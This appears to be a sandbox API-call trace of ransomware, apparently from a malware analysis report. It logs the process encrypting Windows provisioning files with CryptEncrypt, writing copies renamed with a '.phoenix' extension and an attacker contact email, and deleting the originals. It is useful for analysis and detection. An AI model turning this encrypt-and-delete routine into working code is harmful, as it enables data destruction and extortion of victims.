	[0248.310] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\370__connections_cellular_uraltel (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.311] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.311] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.596] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=734) returned 1
	[0248.596] CloseHandle (hObject=0x2b4) returned 1
	[0248.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.596] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.596] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.596] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.596] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0248.597] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0248.597] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.597] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2de, lpOverlapped=0x0) returned 1
	[0248.599] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0248.599] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0248.600] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0248.600] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.600] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0248.600] CryptDestroyKey (hKey=0x151780) returned 1
	[0248.600] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0248.600] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.600] CloseHandle (hObject=0x2b4) returned 1
	[0248.600] CloseHandle (hObject=0x2b0) returned 1
	[0248.600] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\371__connections_cellular_yeniseytelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.602] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.602] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0248.602] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=902) returned 1
	[0248.602] CloseHandle (hObject=0x2b0) returned 1
	[0248.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.603] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0248.603] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.603] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.603] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.604] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0248.604] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.604] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x386, lpOverlapped=0x0) returned 1
	[0248.626] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390, dwBufLen=0x390 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x390) returned 1
	[0248.626] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x390, lpOverlapped=0x0) returned 1
	[0248.627] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0248.627] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.627] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0248.627] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.627] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0248.628] CryptDestroyKey (hKey=0x151500) returned 1
	[0248.628] CloseHandle (hObject=0x2b0) returned 1
	[0248.628] CloseHandle (hObject=0x2b4) returned 1
	[0248.628] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\378__Connections_Cellular_Telenor (Serbia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\378__connections_cellular_telenor (serbia)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.629] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.629] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.630] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=892) returned 1
	[0248.630] CloseHandle (hObject=0x2b4) returned 1
	[0248.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0248.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.630] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.630] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.630] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.630] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0248.631] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0248.631] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.631] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x37c, lpOverlapped=0x0) returned 1
	[0248.707] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x380, dwBufLen=0x380 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x380) returned 1
	[0248.707] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x380, lpOverlapped=0x0) returned 1
	[0248.708] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0248.708] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.708] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0248.708] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.708] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0248.708] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.708] CloseHandle (hObject=0x2b4) returned 1
	[0248.708] CloseHandle (hObject=0x2b0) returned 1
	[0248.708] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\379__connections_cellular_telenor (serbia)_i1$(__mvid)@wap.provxml")) returned 1
	[0248.709] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.709] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0248.710] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=720) returned 1
	[0248.710] CloseHandle (hObject=0x2b0) returned 1
	[0248.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.710] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0248.710] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.710] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.710] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.711] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0248.711] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.711] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.834] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0248.834] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0248.835] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0248.835] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.835] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0248.835] CryptDestroyKey (hKey=0x151640) returned 1
	[0248.835] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0248.835] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.835] CloseHandle (hObject=0x2b0) returned 1
	[0248.835] CloseHandle (hObject=0x2b4) returned 1
	[0248.835] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\382__connections_cellular_mobileone (singapore)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.837] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.837] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.159] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=723) returned 1
	[0249.159] CloseHandle (hObject=0x2c4) returned 1
	[0249.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\383__connections_cellular_mobileone (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20
